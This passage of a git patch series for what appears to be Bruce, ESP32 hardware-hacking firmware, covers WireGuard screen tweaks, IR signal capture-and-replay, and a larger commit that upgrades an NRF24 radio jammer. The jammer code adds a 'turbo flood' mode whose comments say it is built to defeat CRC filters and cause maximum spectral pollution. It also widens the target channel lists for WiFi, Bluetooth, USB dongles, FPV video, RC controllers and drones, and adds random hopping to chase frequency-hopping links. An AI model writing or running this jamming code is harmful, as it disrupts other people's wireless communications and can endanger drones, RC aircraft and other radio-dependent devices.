-    Serial.println(endpoint_port);
-
-    tft.fillScreen(bruceConfig.bgColor);
-    tft.setCursor(0, 0);
-    tft.setTextSize(FG);
 
+    drawMainBorderWithTitle("WIREGUARD");
+    printSubtitle("Connected");
+    tft.setTextSize(FP);
+    padprintln("");
     tft.setTextColor(TFT_GREEN, bruceConfig.bgColor);
-    tft.println("Connected!");
+    padprintln("Status: Connected");
     tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
-    tft.println("IP on tunnel:");
+    padprintln("");
+    padprintln("Tunnel IP:");
     tft.setTextColor(TFT_WHITE, bruceConfig.bgColor);
-    tft.println(local_ip);
+    padprintln(local_ip.toString());
     tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
-    Serial.println(local_ip);
-    delay(7000);
+    padprintln("");
+    padprintln("Endpoint: " + String(endpoint_address));
+    padprintln("Port: " + String(endpoint_port));
+    padprintln("");
+    printFootnote("Press any key to return");
+
     isConnectedWireguard = true;
-    tft.fillScreen(bruceConfig.bgColor);
+
+    while (!check(AnyKeyPress)) { delay(100); }
 }
 #endif
diff --git a/src/modules/ir/ir_read.cpp b/src/modules/ir/ir_read.cpp
index f54e60bde..65940ef94 100644
--- a/src/modules/ir/ir_read.cpp
+++ b/src/modules/ir/ir_read.cpp
@@ -12,18 +12,17 @@
 #include "core/mykeyboard.h"
 #include "core/sd_functions.h"
 #include "core/settings.h"
+#include "custom_ir.h"
 #include "ir_utils.h"
 #include <IRrecv.h>
 #include <IRutils.h>
 #include <globals.h>
 
-/* Dont touch this */
-// #define MAX_RAWBUF_SIZE 300
 #define IR_FREQUENCY 38000
 #define DUTY_CYCLE 0.330000
 
 String uint32ToString(uint32_t value) {
-    char buffer[12] = {0}; // 8 hex digits + 3 spaces + 1 null terminator
+    char buffer[12] = {0};
     snprintf(
         buffer,
         sizeof(buffer),
@@ -37,7 +36,7 @@ String uint32ToString(uint32_t value) {
 }
 
 String uint32ToStringInverted(uint32_t value) {
-    char buffer[12] = {0}; // 8 hex digits + 3 spaces + 1 null terminator
+    char buffer[12] = {0};
     snprintf(
         buffer,
         sizeof(buffer),
@@ -57,24 +56,46 @@ IrRead::IrRead(bool headless_mode, bool raw_mode) {
 }
 bool quickloop = false;
 
+static String getParsedProtocolName(const decode_results &r) {
+    switch (r.decode_type) {
+        case decode_type_t::RC5:
+            return (r.command > 0x3F) ? "RC5X" : "RC5";
+        case decode_type_t::RC6:
+            return "RC6";
+        case decode_type_t::SAMSUNG:
+            return "Samsung32";
+        case decode_type_t::SONY:
+            if (r.address > 0xFF) return "SIRC20";
+            if (r.address > 0x1F) return "SIRC15";
+            return "SIRC";
+        case decode_type_t::NEC:
+            if (r.address > 0xFFFF) return "NEC42ext";
+            if (r.address > 0xFF1F) return "NECext";
+            if (r.address > 0xFF) return "NEC42";
+            return "NEC";
+        case decode_type_t::UNKNOWN:
+            return "";
+        default:
+            return typeToString(r.decode_type, r.repeat);
+    }
+}
+
 void IrRead::setup() {
     irrecv.enableIRIn();
 
-#ifdef USE_BOOST /// ENABLE 5V OUTPUT
+#ifdef USE_BOOST
     PPM.enableOTG();
 #endif
-    // Checks if irRx pin is properly set
     const std::vector<std::pair<String, int>> pins = IR_RX_PINS;
     int count = 0;
     for (auto pin : pins) {
         if (pin.second == bruceConfigPins.irRx) count++;
     }
-    if (count == 0) gsetIrRxPin(true); // Open dialog to choose irRx pin
+    if (count == 0) gsetIrRxPin(true);
 
     setup_ir_pin(bruceConfigPins.irRx, INPUT_PULLUP);
     if (headless) return;
-    // else
-    returnToMenu = true; // make sure menu is redrawn when quitting in any point
+    returnToMenu = true;
     std::vector<Option> quickRemoteOptions = {
         {"TV",
          [&]() {
@@ -128,17 +149,26 @@ void IrRead::loop() {
             returnToMenu = true;
             button_pos = 0;
             quickloop = false;
-#ifdef USE_BOOST /// DISABLE 5V OUTPUT
+#ifdef USE_BOOST
             PPM.disableOTG();
 #endif
             break;
         }
-        if (check(NextPress)) save_signal();
-        if (quickloop && button_pos == quickButtons.size()) save_device();
-        if (check(SelPress)) save_device();
-        if (check(PrevPress)) discard_signal();
 
-        read_signal();
+        if (_emulate_mode) {
+            if (check(SelPress)) emulate_signal();
+            if (check(NextPress)) { _emulate_mode = false; discard_signal(); }
+            if (check(PrevPress)) { _emulate_mode = false; save_signal(); }
+        } else {
+            if (check(NextPress)) save_signal();
+            if (quickloop && button_pos == quickButtons.size()) save_device();
+            if (check(SelPress)) {
+                if (_read_signal) emulate_signal();
+                else save_device();
+            }
+            if (check(PrevPress)) discard_signal();
+            read_signal();
+        }
     }
 }
 
@@ -178,11 +208,17 @@ void IrRead::display_banner() {
 void IrRead::display_btn_options() {
     tft.println("");
     tft.println("");
-    if (_read_signal) {
-        padprintln("Press [PREV] to discard signal");
+    if (_emulate_mode) {
+        padprintln("Press [OK]   to send again");
+        padprintln("Press [NEXT] for new signal");
+        padprintln("Press [PREV] to save signal");
+    } else if (_read_signal) {
+        padprintln("Press [OK]   to emulate signal");
         padprintln("Press [NEXT] to save signal");
+        padprintln("Press [PREV] to discard");
+    } else {
+        if (signals_read > 0) { padprintln("Press [OK]   to save device"); }
     }
-    if (signals_read > 0) { padprintln("Press [OK]   to save device"); }
     padprintln("Press [ESC]  to exit");
 }
 
@@ -191,17 +227,22 @@ void IrRead::read_signal() {
 
     _read_signal = true;
 
-    // Always switches to RAW data, regardless of the decoding result
-    raw = true;
+    raw = (results.decode_type == decode_type_t::UNKNOWN) || hasACState(results.decode_type);
 
     display_banner();
 
-    // Dump of signal details
+    if (!raw) {
+        String proto = getParsedProtocolName(results);
+        padprintln("Protocol: " + (proto.length() ? proto : "UNKNOWN"));
+        padprintln("Bits: " + String(results.bits));
+    }
+
     padprint("RAW Data Captured:");
     String raw_signal = parse_raw_signal();
+    _captured_raw_signal = raw_signal;
     tft.println(
         raw_signal.substring(0, 45) + (raw_signal.length() > 45 ? "..." : "")
-    ); // Shows the RAW signal on the display
+    );
 
     display_btn_options();
     delay(500);
@@ -209,10 +250,44 @@ void IrRead::read_signal() {
 
 void IrRead::discard_signal() {
     if (!_read_signal) return;
+    _emulate_mode = false;
+    _captured_raw_signal = "";
     irrecv.resume();
     begin();
 }
 
+void IrRead::emulate_signal() {
+    IRCode code;
+    if (raw) {
+        code.type = "raw";
+        code.frequency = IR_FREQUENCY;
+        code.data = _captured_raw_signal;
+    } else {
+        code.type = "parsed";
+        code.protocol = getParsedProtocolName(results);
+        code.address = uint32ToString(results.address);
+        code.command = uint32ToString(results.command);
+        code.bits = results.bits;
+        code.data = resultToHexidecimal(&results);
+        if (code.protocol == "") {
+            code.type = "raw";
+            code.frequency = IR_FREQUENCY;
+            code.data = _captured_raw_signal;
+        }
+    }
+    sendIRCommand(&code);
+    if (code.type == "parsed" &&
+        (code.protocol == "RC5" || code.protocol == "RC5X" || code.protocol == "RC6")) {
+        delay(35);
+        sendIRCommand(&code);
+    }
+    _emulate_mode = true;
+    display_banner();
+    tft.setTextSize(FP);
+    padprintln("Signal emulated!");
+    display_btn_options();
+}
+
 void IrRead::save_signal() {
     if (!_read_signal) return;
     if (!quickloop) {
@@ -231,8 +306,7 @@ String IrRead::parse_state_signal() {
     String r = "";
     uint16_t state_len = (results.bits) / 8;
     for (uint16_t i = 0; i < state_len; i++) {
-        // r += uint64ToString(results.state[i], 16) + " ";
-        r += ((results.state[i] < 0x10) ? "0" : ""); // adds 0 padding if necessary
+        r += ((results.state[i] < 0x10) ? "0" : "");
         r += String(results.state[i], HEX) + " ";
     }
     r.toUpperCase();
@@ -264,7 +338,6 @@ void IrRead::append_to_file_str(String btn_name) {
         strDeviceContent += "duty_cycle: " + String(DUTY_CYCLE) + "\n";
         strDeviceContent += "data: " + parse_raw_signal() + "\n";
     } else {
-        // parsed signal  https://github.com/jamisonderek/flipper-zero-tutorials/wiki/Infrared
         strDeviceContent += "type: parsed\n";
         switch (results.decode_type) {
             case decode_type_t::RC5: {
@@ -281,14 +354,12 @@ void IrRead::append_to_file_str(String btn_name) {
                 break;
             }
             case decode_type_t::SONY: {
-                // check address and command ranges to find the exact protocol
                 if (results.address > 0xFF) strDeviceContent += "protocol: SIRC20\n";
                 else if (results.address > 0x1F) strDeviceContent += "protocol: SIRC15\n";
                 else strDeviceContent += "protocol: SIRC\n";
                 break;
             }
             case decode_type_t::NEC: {
-                // check address and command ranges to find the exact protocol
                 if (results.address > 0xFFFF) strDeviceContent += "protocol: NEC42ext\n";
                 else if (results.address > 0xFF1F) strDeviceContent += "protocol: NECext\n";
                 else if (results.address > 0xFF) strDeviceContent += "protocol: NEC42\n";
@@ -308,31 +379,12 @@ void IrRead::append_to_file_str(String btn_name) {
         strDeviceContent += "address: " + uint32ToString(results.address) + "\n";
         strDeviceContent += "command: " + uint32ToString(results.command) + "\n";
 
-        // extra fields not supported on flipper
         strDeviceContent += "bits: " + String(results.bits) + "\n";
         if (hasACState(results.decode_type)) strDeviceContent += "state: " + parse_state_signal() + "\n";
         else if (results.bits > 32)
             strDeviceContent += "value: " + uint32ToString(results.value) + " " +
-                                uint32ToString(results.value >> 32) + "\n"; // MEMO: from uint64_t
+                                uint32ToString(results.value >> 32) + "\n";
         else strDeviceContent += "value: " + uint32ToStringInverted(results.value) + "\n";
-
-        /*
-        Serial.println(results.bits);
-        Serial.println(results.address);
-        Serial.println(results.command);
-        Serial.println(results.overflow);
-        Serial.println(results.repeat);
-        Serial.println("value:");
-        serialPrintUint64(results.address, HEX);
-        serialPrintUint64(results.command, HEX);
-        Serial.print("resultToHexidecimal: ");
-        Serial.println(resultToHexidecimal(&results));
-        Serial.println(results.value);
-        String value = uint32ToString(results.value ) + " " + uint32ToString(results.value>> 32);
-        value.replace(" ", "");
-        uint64_t value_int = strtoull(value.c_str(), nullptr, 16);
-        Serial.println(value_int);
-        */
     }
     strDeviceContent += "#\n";
 }
@@ -350,7 +402,6 @@ void IrRead::save_device() {
     bool littleFsAvailable = checkLittleFsSize();
 
     if (sdCardAvailable && littleFsAvailable) {
-        // ask to choose one
         options = {
             {"SD Card",  [&]() { fs = &SD; }      },
             {"LittleFS", [&]() { fs = &LittleFS; }},
@@ -377,14 +428,13 @@ void IrRead::save_device() {
 
 String IrRead::loop_headless(int max_loops) {
 
-    while (!irrecv.decode(&results)) { // MEMO: default timeout is 15ms
+    while (!irrecv.decode(&results)) {
         max_loops -= 1;
         if (max_loops <= 0) {
             Serial.println("timeout");
-            return ""; // nothing received
+            return "";
         }
         delay(1000);
-        // delay(50);
     }
 
     irrecv.disableIRIn();
@@ -395,7 +445,6 @@ String IrRead::loop_headless(int max_loops) {
     }
 
     if (results.overflow) displayWarning("buffer overflow, data may be truncated", true);
-    // TODO: check results.repeat
 
     String r = "Filetype: IR signals file\n";
     r += "Version: 1\n";
@@ -403,7 +452,7 @@ String IrRead::loop_headless(int max_loops) {
     r += "#\n";
 
     strDeviceContent = "";
-    append_to_file_str("Unknown"); // writes on strDeviceContent
+    append_to_file_str("Unknown");
     r += strDeviceContent;
 
     return r;
@@ -421,7 +470,6 @@ bool IrRead::write_file(String filename, FS *fs) {
         displayWarning("File \"" + String(filename) + "\" already exists", true);
         display_banner();
 
-        // ask to choose one
         options = {
             {"Append number", [&]() { ch = 1; }},
             {"Overwrite ",    [&]() { ch = 2; }},
@@ -444,17 +492,6 @@ bool IrRead::write_file(String filename, FS *fs) {
         }
     }
 
-    /*
-    /Old "Add num index" solution
-
-    if ((*fs).exists("/BruceIR/" + filename + ".ir")) {
-        int i = 1;
-        filename += "_";
-        while((*fs).exists("/BruceIR/" + filename + String(i) + ".ir")) i++;
-        filename += String(i);
-    }
-    */
-
     File file = (*fs).open("/BruceIR/" + filename + ".ir", FILE_WRITE);
 
     if (!file) { return false; }
diff --git a/src/modules/ir/ir_read.h b/src/modules/ir/ir_read.h
index a8020435f..880a6925c 100644
--- a/src/modules/ir/ir_read.h
+++ b/src/modules/ir/ir_read.h
@@ -1,27 +1,12 @@
-/**
- * @file ir_read.h
- * @author Rennan Cockles (https://github.com/rennancockles)
- * @brief Read Infrared signals
- * @version 0.1
- * @date 2024-07-17
- */
-
 #include <IRrecv.h>
 #include <globals.h>
 
 class IrRead {
 public:
-    // IRrecv irrecv = IRrecv(bruceConfigPins.irRx);
     IRrecv irrecv = IRrecv(bruceConfigPins.irRx, SAFE_STACK_BUFFER_SIZE / 2, 50);
 
-    /////////////////////////////////////////////////////////////////////////////////////
-    // Constructor
-    /////////////////////////////////////////////////////////////////////////////////////
     IrRead(bool headless_mode = false, bool raw_mode = false);
 
-    ///////////////////////////////////////////////////////////////////////////////////
-    // Arduino Life Cycle
-    ///////////////////////////////////////////////////////////////////////////////////
     void setup();
     void loop();
     void quickLoop();
@@ -30,6 +15,8 @@ class IrRead {
 
 private:
     bool _read_signal = false;
+    bool _emulate_mode = false;
+    String _captured_raw_signal = "";
     decode_results results;
     uint16_t *rawcode;
     uint16_t raw_data_len;
@@ -39,18 +26,13 @@ class IrRead {
     bool headless = false;
     bool raw = false;
 
-    /////////////////////////////////////////////////////////////////////////////////////
-    // Display functions
-    /////////////////////////////////////////////////////////////////////////////////////
     void cls();
     void display_banner();
     void display_btn_options();
 
-    /////////////////////////////////////////////////////////////////////////////////////
-    // Operations
-    /////////////////////////////////////////////////////////////////////////////////////
     void begin();
     void read_signal();
+    void emulate_signal();
     void save_device();
     void save_signal();
     void discard_signal();
@@ -58,9 +40,7 @@ class IrRead {
     bool write_file(String filename, FS *fs);
     String parse_raw_signal();
     String parse_state_signal();
-    /////////////////////////////////////////////////////////////////////////////////////
-    // Quick Remotes
-    /////////////////////////////////////////////////////////////////////////////////////
+
     std::vector<String> quickButtonsTV = {"POWER", "UP",   "DOWN", "LEFT",  "RIGHT", "OK",       "SOURCES",
                                           "VOL+",  "VOL-", "CHA+", "CHA-",  "MUTE",  "SETTINGS", "NETFLIX",
                                           "HOME",  "BACK", "EXIT", "SMART", "1",     "2",        "3",
@@ -77,12 +57,12 @@ class IrRead {
                                              "STOP",     "NEXT",    "PREV", "SHUFFLE", "REPEAT"};
     std::vector<String> quickButtonsLED = {
     "ON", "OFF", "BRIGHTNESS+", "BRIGHTNESS-",
-    "RED", "GREEN", "BLUE", "WHITE",           
+    "RED", "GREEN", "BLUE", "WHITE",
     "ORANGE", "PEA_GREEN", "DARK_BLUE",
-    "DARK_YELLOW", "CYAN", "PURPLE",        
-    "YELLOW", "LIGHT_BLUE", "MAGENTA",    
-    "LIGHT_YELLOW", "SKY_BLUE", "ROSE",       
-    "MODE_FLASH", "MODE_STROBE", "MODE_FADE", "MODE_SMOOTH" 
+    "DARK_YELLOW", "CYAN", "PURPLE",
+    "YELLOW", "LIGHT_BLUE", "MAGENTA",
+    "LIGHT_YELLOW", "SKY_BLUE", "ROSE",
+    "MODE_FLASH", "MODE_STROBE", "MODE_FADE", "MODE_SMOOTH"
 };
     std::vector<String> &quickButtons = quickButtonsTV;
 };

From 3c6bd6d30a3726867d358bdb696a891fed6ac8de Mon Sep 17 00:00:00 2001
From: ! FrannnDev <181183464+fastdexcorp@users.noreply.github.com>
Date: Sun, 22 Mar 2026 18:57:44 -0300
Subject: [PATCH 05/73] Bigger Apps Icon

---
 src/core/menu_items/AppStoreMenu.cpp | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/src/core/menu_items/AppStoreMenu.cpp b/src/core/menu_items/AppStoreMenu.cpp
index bfacf895c..379e51308 100644
--- a/src/core/menu_items/AppStoreMenu.cpp
+++ b/src/core/menu_items/AppStoreMenu.cpp
@@ -302,8 +302,8 @@ void AppStoreMenu::optionsMenu() {
 void AppStoreMenu::drawIcon(float scale) {
     clearIconArea();
 
-    int iconW = scale * 50;
-    int iconH = scale * 50;
+    int iconW = scale * 60;
+    int iconH = scale * 60;
     if (iconW % 2 != 0) iconW++;
     if (iconH % 2 != 0) iconH++;
 

From e9f907800d7ac637f8c473d16b51d3ee22a8436c Mon Sep 17 00:00:00 2001
From: ! FrannnDev <181183464+fastdexcorp@users.noreply.github.com>
Date: Sun, 22 Mar 2026 21:19:53 -0300
Subject: [PATCH 06/73] Better NRF24 and RF

---
 src/core/display.cpp                   |   6 +-
 src/core/menu_items/RFMenu.cpp         |   3 +-
 src/modules/NRF24/nrf_jammer.cpp       | 360 ++++++++++++-----
 src/modules/NRF24/nrf_jammer.h         |   5 +-
 src/modules/NRF24/nrf_spectrum.cpp     | 293 ++------------
 src/modules/NRF24/nrf_spectrum.cpp.bak | 365 +++++++++++++++++
 src/modules/NRF24/nrf_spectrum.h       |  21 +-
 src/modules/rf/rf_jammer.cpp           | 521 +++++++++++++++++++++----
 src/modules/rf/rf_jammer.h             |  20 +-
 src/modules/rf/rf_spectrum.cpp.bak     | 303 ++++++++++++++
 10 files changed, 1443 insertions(+), 454 deletions(-)
 create mode 100644 src/modules/NRF24/nrf_spectrum.cpp.bak
 create mode 100644 src/modules/rf/rf_spectrum.cpp.bak

diff --git a/src/core/display.cpp b/src/core/display.cpp
index 1921c40ba..6f3c817a0 100644
--- a/src/core/display.cpp
+++ b/src/core/display.cpp
@@ -948,7 +948,7 @@ void drawBatteryStatus(uint8_t bat) {
 }
 
 void drawWireguardStatus(int x, int y) {
-    tft.fillRect(x, y, 20, 17, bruceConfig.bgColor);
+    tft.fillRect(x, y, 16, 16, bruceConfig.bgColor);
     if (isConnectedWireguard) {
         tft.drawRoundRect(4 + x, 0 + y, 8, 10, 4, bruceConfig.priColor);
         tft.fillRoundRect(3 + x, 7 + y, 10, 8, 0, bruceConfig.priColor);
@@ -1027,7 +1027,7 @@ void drawWebUISmall(int x, int y) {
 }
 
 void drawBLESmall(int x, int y) {
-    tft.fillRect(x, 2 + y, 17, 13, bruceConfig.bgColor);
+    tft.fillRect(x, y, 16, 16, bruceConfig.bgColor);
     tft.drawWideLine(8 + x, 8 + y, 4 + x, 5 + y, 2, bruceConfig.priColor, bruceConfig.bgColor);
     tft.drawWideLine(8 + x, 8 + y, 4 + x, 13 + y, 2, bruceConfig.priColor, bruceConfig.bgColor);
     tft.drawTriangle(8 + x, 8 + y, 8 + x, 2 + y, 13 + x, 5 + y, bruceConfig.priColor);
@@ -1053,7 +1053,7 @@ void drawGPS(int x, int y) {
 }
 
 void drawGpsSmall(int x, int y) {
-    tft.fillRect(x, y, 17, 17, bruceConfig.bgColor);
+    tft.fillRect(x, y, 16, 16, bruceConfig.bgColor);
     tft.drawEllipse(9 + x, 14 + y, 4, 3, bruceConfig.priColor);
     tft.drawArc(9 + x, 6 + y, 5, 2, 0, 340, bruceConfig.priColor, bruceConfig.bgColor);
     tft.fillTriangle(9 + x, 15 + y, 5 + x, 9 + y, 13 + x, 9 + y, bruceConfig.priColor);
diff --git a/src/core/menu_items/RFMenu.cpp b/src/core/menu_items/RFMenu.cpp
index 23b3416f6..edc948444 100644
--- a/src/core/menu_items/RFMenu.cpp
+++ b/src/core/menu_items/RFMenu.cpp
@@ -27,9 +27,8 @@ void RFMenu::optionsMenu() {
         {"Listen",          rf_listen                 }, // dev_eclipse
 #endif
         {"Bruteforce",      rf_bruteforce             }, // dev_eclipse
-        {"Jammer Itmt",     [=]() { RFJammer(false); }},
+        {"Jammer",          [=]() { RFJammer(true); } },
 #endif
-        {"Jammer Full",     [=]() { RFJammer(true); } },
         {"Config",          [this]() { configMenu(); }},
     };
     addOptionToMainMenu();
diff --git a/src/modules/NRF24/nrf_jammer.cpp b/src/modules/NRF24/nrf_jammer.cpp
index 4da33ea75..cab2bc771 100644
--- a/src/modules/NRF24/nrf_jammer.cpp
+++ b/src/modules/NRF24/nrf_jammer.cpp
@@ -30,7 +30,7 @@ static const uint8_t JAM_FLOOD_DATA[32] = {0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0
 
 // ── Config persistence ──────────────────────────────────────────
 static const char *NRF_JAM_CFG_PATH = "/nrf_jam_cfg.bin";
-#define NRF_JAM_CFG_VERSION 3
+#define NRF_JAM_CFG_VERSION 4
 
 // ── Per-mode default configs ────────────────────────────────────
 // Tuned for E01-ML01SP2 (PA+LNA): PA=3 → chip 0dBm → ~+20dBm at antenna
@@ -47,27 +47,18 @@ static const char *NRF_JAM_CFG_PATH = "/nrf_jam_cfg.bin";
 // CW: unmodulated carrier saturates receiver AGC → proven & fast
 // Flooding: packet collisions via writeFast → optional, enable in config
 //
-//                                        PA  DR  dwell  flood
+//                                        PA  DR  dwell strat burst rand _res
 static NrfJamConfig jamConfigs[NRF_JAM_MODE_COUNT] = {
-    /* FULL       */ {3, 1, 0, 0}, // CW: rapid sweep all 125ch (like original)
-                                   /* WIFI       */
-    {3, 1, 0, 0}, // CW: no delay, fast sweep
-                                   /* BLE        */
-    {3, 1, 0, 0}, // CW: no delay, fast sweep
-                                   /* BLE_ADV    */
-    {3, 1, 0, 0}, // CW: no delay, fast sweep
-                                   /* BLUETOOTH  */
-    {3, 1, 0, 0}, // CW: no delay, fast sweep (like original)
-                                   /* USB        */
-    {3, 1, 0, 0}, // CW: no delay, fast sweep
-                                   /* VIDEO      */
-    {3, 1, 0, 0}, // CW: no delay, fast sweep
-                                   /* RC         */
-    {3, 1, 0, 0}, // CW: no delay, fast sweep
-                                   /* ZIGBEE     */
-    {3, 1, 0, 0}, // CW: no delay, fast sweep
-                                   /* DRONE      */
-    {3, 1, 0, 0}, // CW: no delay, fast sweep
+    /* FULL       */ {3, 1, 0, 2, 20, 1, 0}, // Turbo flood, max burst, random
+    /* WIFI       */ {3, 1, 0, 2, 20, 0, 0}, // Turbo flood WiFi channels
+    /* BLE        */ {3, 1, 0, 2, 20, 1, 0}, // Turbo flood, random hop
+    /* BLE_ADV    */ {3, 1, 0, 2, 20, 0, 0}, // Turbo flood adv channels
+    /* BLUETOOTH  */ {3, 1, 0, 2, 20, 1, 0}, // Turbo flood + random (FHSS)
+    /* USB        */ {3, 1, 0, 2, 20, 1, 0}, // Turbo flood + random
+    /* VIDEO      */ {3, 1, 0, 2, 20, 0, 0}, // Turbo flood video band
+    /* RC         */ {3, 1, 0, 2, 20, 1, 0}, // Turbo flood + random (FHSS)
+    /* ZIGBEE     */ {3, 1, 0, 2, 20, 1, 0}, // Turbo flood + random
+    /* DRONE      */ {3, 1, 0, 2, 20, 1, 0}, // Turbo flood + random (FHSS)
 };
 
 // ── Mode information table ──────────────────────────────────────
@@ -108,14 +99,24 @@ static const uint8_t CH_BLUETOOTH[] = {2,  3,  4,  5,  6,  7,  8,  9,  10, 11, 1
                                        50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65,
                                        66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80};
 
-// USB wireless dongles
-static const uint8_t CH_USB[] = {40, 50, 60};
+// USB wireless dongles: expanded range covering common dongle frequencies
+static const uint8_t CH_USB[] = {
+    32, 34, 36, 38, 40, 42, 44, 46, 48, 50,
+    52, 54, 56, 58, 60, 62, 64, 66, 68, 70
+};
 
-// Video streaming (upper ISM band)
-static const uint8_t CH_VIDEO[] = {70, 75, 80};
+// Video streaming: expanded FPV + baby monitor range (upper ISM band)
+static const uint8_t CH_VIDEO[] = {
+    60, 62, 64, 66, 68, 70, 72, 74, 76, 78,
+    80, 82, 84, 86, 88, 90, 92, 94, 96, 98,
+    100, 102, 104, 106, 108, 110, 112, 114, 116, 118, 120, 122, 124
+};
 
-// RC controllers (low channels)
-static const uint8_t CH_RC[] = {1, 3, 5, 7};
+// RC controllers: expanded to cover main RC frequency allocations
+static const uint8_t CH_RC[] = {
+    1, 3, 5, 7, 9, 11, 13, 15, 17, 19,
+    21, 23, 25, 27, 29, 31, 33, 35, 37, 39
+};
 
 // Zigbee ch 11-26: 3 nRF sub-channels per Zigbee channel (±1MHz)
 static const uint8_t CH_ZIGBEE[] = {
@@ -177,7 +178,9 @@ static void loadJamConfigs() {
         if (jamConfigs[i].paLevel > 3) jamConfigs[i].paLevel = 3;
         if (jamConfigs[i].dataRate > 2) jamConfigs[i].dataRate = 1;
         if (jamConfigs[i].dwellTimeMs > 200) jamConfigs[i].dwellTimeMs = 200;
-        if (jamConfigs[i].useFlooding > 1) jamConfigs[i].useFlooding = 1;
+        if (jamConfigs[i].strategy > 2) jamConfigs[i].strategy = 0;
+        if (jamConfigs[i].burstCount < 1 || jamConfigs[i].burstCount > 20) jamConfigs[i].burstCount = 6;
+        if (jamConfigs[i].randomHop > 1) jamConfigs[i].randomHop = 0;
     }
     Serial.println("[JAM] Configs loaded from flash");
 }
@@ -217,24 +220,83 @@ static void applyJamConfig(const NrfJamConfig &cfg, bool flooding) {
 
 // ── Data flooding on a channel ──────────────────────────────────
 // Safely switch channel (CE LOW → configure → CE HIGH) then burst.
-static void floodChannel(uint8_t ch, uint16_t dwellMs) {
+static void floodChannel(uint8_t ch, uint16_t dwellMs, uint8_t burstCount) {
     // CE LOW to safely change channel mid-flight
     digitalWrite(bruceConfigPins.NRF24_bus.io0, LOW);
     NRFradio.flush_tx();
     NRFradio.setChannel(ch);
 
     if (dwellMs == 0) {
-        // Turbo: fill FIFO (3 packets) and fire
-        NRFradio.writeFast(JAM_FLOOD_DATA, 32, true);
-        NRFradio.writeFast(JAM_FLOOD_DATA, 32, true);
-        NRFradio.writeFast(JAM_FLOOD_DATA, 32, true);
-        delayMicroseconds(500);
+        // Turbo: fill FIFO with burstCount packets for maximum TX duty
+        for (int i = 0; i < burstCount; i++) {
+            if (!NRFradio.writeFast(JAM_FLOOD_DATA, 32, true)) {
+                NRFradio.flush_tx();
+                delayMicroseconds(3);
+            }
+        }
+        delayMicroseconds(200);
         return;
     }
 
     unsigned long startMs = millis();
     while ((millis() - startMs) < dwellMs) {
-        if (!NRFradio.writeFast(JAM_FLOOD_DATA, 32, true)) { delayMicroseconds(10); }
+        for (int i = 0; i < burstCount && (millis() - startMs) < dwellMs; i++) {
+            if (!NRFradio.writeFast(JAM_FLOOD_DATA, 32, true)) {
+                NRFradio.flush_tx();
+                delayMicroseconds(5);
+            }
+        }
+    }
+}
+
+// ── Turbo flooding: maximum throughput with varied data ─────────
+// Multi-payload pattern: sends different data patterns on rapid rotation
+// to defeat CRC filters and create maximum spectral pollution.
+// Also cycles address width (3→5) to hit varied receiver configs.
+static void turboFloodChannel(uint8_t ch, uint8_t burstCount) {
+    static uint8_t xorSeed = 0xA5;
+
+    digitalWrite(bruceConfigPins.NRF24_bus.io0, LOW);
+    NRFradio.flush_tx();
+    NRFradio.setChannel(ch);
+
+    // Phase 1: Standard burst with XOR-varied payload
+    uint8_t data[32];
+    for (int i = 0; i < 32; i++) {
+        xorSeed ^= (xorSeed << 5);
+        xorSeed ^= (xorSeed >> 3);
+        data[i] = JAM_FLOOD_DATA[i] ^ xorSeed;
+    }
+    for (int i = 0; i < burstCount; i++) {
+        if (!NRFradio.writeFast(data, 32, true)) {
+            NRFradio.flush_tx();
+        }
+    }
+
+    // Phase 2: All-ones payload (max RF energy per bit at 2Mbps)
+    memset(data, 0xFF, 32);
+    for (int i = 0; i < burstCount; i++) {
+        if (!NRFradio.writeFast(data, 32, true)) {
+            NRFradio.flush_tx();
+        }
+    }
+
+    // Phase 3: Alternating 0x55/0xAA for maximum bit transitions
+    for (int i = 0; i < 32; i++) data[i] = (i & 1) ? 0xAA : 0x55;
+    for (int i = 0; i < burstCount; i++) {
+        if (!NRFradio.writeFast(data, 32, true)) {
+            NRFradio.flush_tx();
+        }
+    }
+}
+
+// ── Fisher-Yates shuffle for random channel hopping ─────────────
+static void shuffleChannels(uint8_t *arr, size_t count) {
+    for (size_t i = count - 1; i > 0; i--) {
+        size_t j = esp_random() % (i + 1);
+        uint8_t tmp = arr[i];
+        arr[i] = arr[j];
+        arr[j] = tmp;
     }
 }
 
@@ -277,11 +339,13 @@ static void editModeConfig(NrfJamMode mode) {
     NrfJamConfig &cfg = jamConfigs[(uint8_t)mode];
     const char *paLabels[] = {"MIN (-18dBm)", "LOW (-12dBm)", "HIGH (-6dBm)", "MAX (0/+20dBm)"};
     const char *drLabels[] = {"1 Mbps", "2 Mbps", "250 Kbps"};
-    const char *stratLabels[] = {"Constant Carrier", "Data Flooding"};
+    const char *stratLabels[] = {"Constant Carrier", "Data Flooding", "Turbo Flood"};
+    const char *hopLabels[] = {"Sequential", "Random"};
 
     int menuIdx = 0;
     bool editing = false;
     bool redraw = true;
+    const int ITEM_COUNT = 7;
 
     while (true) {
         if (check(EscPress)) {
@@ -295,19 +359,20 @@ static void editModeConfig(NrfJamMode mode) {
             tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
 
             int y = BORDER_PAD_Y + FM * LH + 4;
-            int lineH = max(14, tftHeight / 10);
+            int lineH = max(12, tftHeight / (ITEM_COUNT + 3));
 
-            // Items
-            const char *items[] = {"PA Level", "Data Rate", "Dwell (ms)", "Strategy", "Save & Back"};
+            const char *items[] = {"PA Level", "Data Rate", "Dwell (ms)", "Strategy", "Burst Pkts", "Hop Order", "Save & Back"};
             String values[] = {
                 paLabels[cfg.paLevel & 3],
                 drLabels[cfg.dataRate <= 2 ? cfg.dataRate : 1],
                 String(cfg.dwellTimeMs),
-                stratLabels[cfg.useFlooding & 1],
+                stratLabels[cfg.strategy <= 2 ? cfg.strategy : 0],
+                String(cfg.burstCount),
+                hopLabels[cfg.randomHop & 1],
                 ""
             };
 
-            for (int i = 0; i < 5; i++) {
+            for (int i = 0; i < ITEM_COUNT; i++) {
                 int itemY = y + i * lineH;
                 uint16_t fg = (i == menuIdx) ? bruceConfig.bgColor : bruceConfig.priColor;
                 uint16_t bg = (i == menuIdx) ? bruceConfig.priColor : bruceConfig.bgColor;
@@ -318,7 +383,7 @@ static void editModeConfig(NrfJamMode mode) {
                 if (values[i].length() > 0) { line += ": " + values[i]; }
